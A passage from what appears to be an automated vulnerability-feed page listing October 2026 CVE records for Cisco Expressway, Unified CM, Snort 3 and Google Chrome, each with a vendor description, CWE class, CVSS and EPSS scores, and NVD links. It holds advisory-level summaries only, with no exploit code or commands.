NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76495&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76495 are related to issues concerning incorrect permission assignments that are grouped under the Common Weakness Enumeration (CWE) Variant CWE-732.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...
https://kevwire.com/record/CVE-2026-76494
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76494 are related to issues concerning code injections that are grouped under the Common Weakness Enumeration (CWE) Base CWE-94.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76494).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76494&date=2026-10-25).
Sources:
NVD CVE-2026-76494: https://nvd.nist.gov/vuln/detail/CVE-2026-76494
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76494&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76494 are related to issues concerning code injections that are grouped under the Common Weakness Enumeration (CWE) Base CWE-94.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76479
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76479 are related to issues concerning improper limitation of a pathname to a restricted directory that are grouped under the Common Weakness Enumeration (CWE) Base CWE-22.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76479).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76479&date=2026-10-25).
Sources:
NVD CVE-2026-76479: https://nvd.nist.gov/vuln/detail/CVE-2026-76479
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76479&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76479 are related to issues concerning improper limitation of a pathname to a restricted directory that are grouped under the Common Weakness Enumeration (CWE) Base CWE-22.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76478
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76478 are related to improper access control issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76478).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76478&date=2026-10-25).
Sources:
NVD CVE-2026-76478: https://nvd.nist.gov/vuln/detail/CVE-2026-76478
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76478&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76478 are related to improper access control issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76477
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76477 are related to issues concerning improper neutralization of special elements used in an SQL command that are grouped under the Common Weakness Enumeration (CWE) Base CWE-89.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76477).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76477&date=2026-10-25).
Sources:
NVD CVE-2026-76477: https://nvd.nist.gov/vuln/detail/CVE-2026-76477
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76477&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76477 are related to issues concerning improper neutralization of special elements used in an SQL command that are grouped under the Common Weakness Enumeration (CWE) Base CWE-89.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76476
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76476 are related to issues concerning improper input validation that are grouped under the Common Weakness Enumeration (CWE) Class CWE-20.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76476).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76476&date=2026-10-25).
Sources:
NVD CVE-2026-76476: https://nvd.nist.gov/vuln/detail/CVE-2026-76476
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76476&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76476 are related to issues concerning improper input validation that are grouped under the Common Weakness Enumeration (CWE) Class CWE-20.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76474
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76474 are related to issues concerning improper authentication that are grouped under the Common Weakness Enumeration (CWE) Class CWE-287.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76474).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76474&date=2026-10-25).
Sources:
NVD CVE-2026-76474: https://nvd.nist.gov/vuln/detail/CVE-2026-76474
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76474&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76474 are related to issues concerning improper authentication that are grouped under the Common Weakness Enumeration (CWE) Class CWE-287.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76473
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76473 are related to issues concerning improper control of a resource through its lifetime that are grouped under the Common Weakness Enumeration (CWE) Class CWE-74.
&nbsp;
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76473).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76473&date=2026-10-25).
Sources:
NVD CVE-2026-76473: https://nvd.nist.gov/vuln/detail/CVE-2026-76473
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76473&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76473 are related to issues concerning improper control of a resource through its lifetime that are grouped under the Common Weakness Enumeration (CWE) Class CWE-74.
&nbsp;

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to...
https://kevwire.com/record/CVE-2026-76466
A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to... (Oct 21, 2026).
A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to execute arbitrary operating system commands as&nbsp;root.

This vulnerability is due to the use of persistent cookies. Additionally, there is insufficient validation of client certificates when the TLS Verify Mode is set to Enabled for clustering, which means that client certificates are not validated. An attacker with possession of the cookies could exploit this vulnerability by connecting to the database service and invoking specific remote procedure call (RPC) commands. A successful exploit could allow the attacker to execute arbitrary commands as root on the underlying operating system of an affected device.
Note: Cisco Expressway Series refers to Cisco Expressway Core (Expressway-C) devices and Cisco Expressway Edge (Expressway-E) devices.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76466).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76466&date=2026-10-25).
Sources:
NVD CVE-2026-76466: https://nvd.nist.gov/vuln/detail/CVE-2026-76466
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76466&date=2026-10-25
A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to execute arbitrary operating system commands as&nbsp;root.

This vulnerability is due to the use of persistent cookies. Additionally, there is insufficient validation of client certificates when the TLS Verify Mode is set to Enabled for clustering, which means that client certificates are not validated. An attacker with possession of the cookies could exploit this vulnerability by connecting to the database service and invoking specific remote procedure call (RPC) commands. A successful exploit could allow the attacker to execute arbitrary commands as root on the underlying operating system of an affected device.
Note: Cisco Expressway Series refers to Cisco Expressway Core (Expressway-C) devices and Cisco Expressway Edge (Expressway-E) devices.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...
https://kevwire.com/record/CVE-2026-20291
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20291 are related to issues concerning improper privilege management that are grouped under the Common Weakness Enumeration (CWE) Base CWE-269.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20291).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20291&date=2026-10-25).
Sources:
NVD CVE-2026-20291: https://nvd.nist.gov/vuln/detail/CVE-2026-20291
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20291&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20291 are related to issues concerning improper privilege management that are grouped under the Common Weakness Enumeration (CWE) Base CWE-269.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113342
Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113342).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113342&date=2026-10-25).
Sources:
NVD CVE-2026-113342: https://nvd.nist.gov/vuln/detail/CVE-2026-113342
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113342&date=2026-10-25
Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113336
Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113336).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113336&date=2026-10-25).
Sources:
NVD CVE-2026-113336: https://nvd.nist.gov/vuln/detail/CVE-2026-113336
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113336&date=2026-10-25
Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113331
Memory corruption in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113331).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113331&date=2026-10-25).
Sources:
NVD CVE-2026-113331: https://nvd.nist.gov/vuln/detail/CVE-2026-113331
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113331&date=2026-10-25
Memory corruption in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113328
Improper input validation in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113328).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113328&date=2026-10-25).
Sources:
NVD CVE-2026-113328: https://nvd.nist.gov/vuln/detail/CVE-2026-113328
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113328&date=2026-10-25
Improper input validation in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds write in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113300
Out of bounds write in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Out of bounds write in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113300).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113300&date=2026-10-25).
Sources:
NVD CVE-2026-113300: https://nvd.nist.gov/vuln/detail/CVE-2026-113300
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113300&date=2026-10-25
Out of bounds write in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox...
https://kevwire.com/record/CVE-2026-113283
Memory corruption in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox... (Oct 20, 2026).
Memory corruption in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113283).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113283&date=2026-10-25).
Sources:
NVD CVE-2026-113283: https://nvd.nist.gov/vuln/detail/CVE-2026-113283
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113283&date=2026-10-25
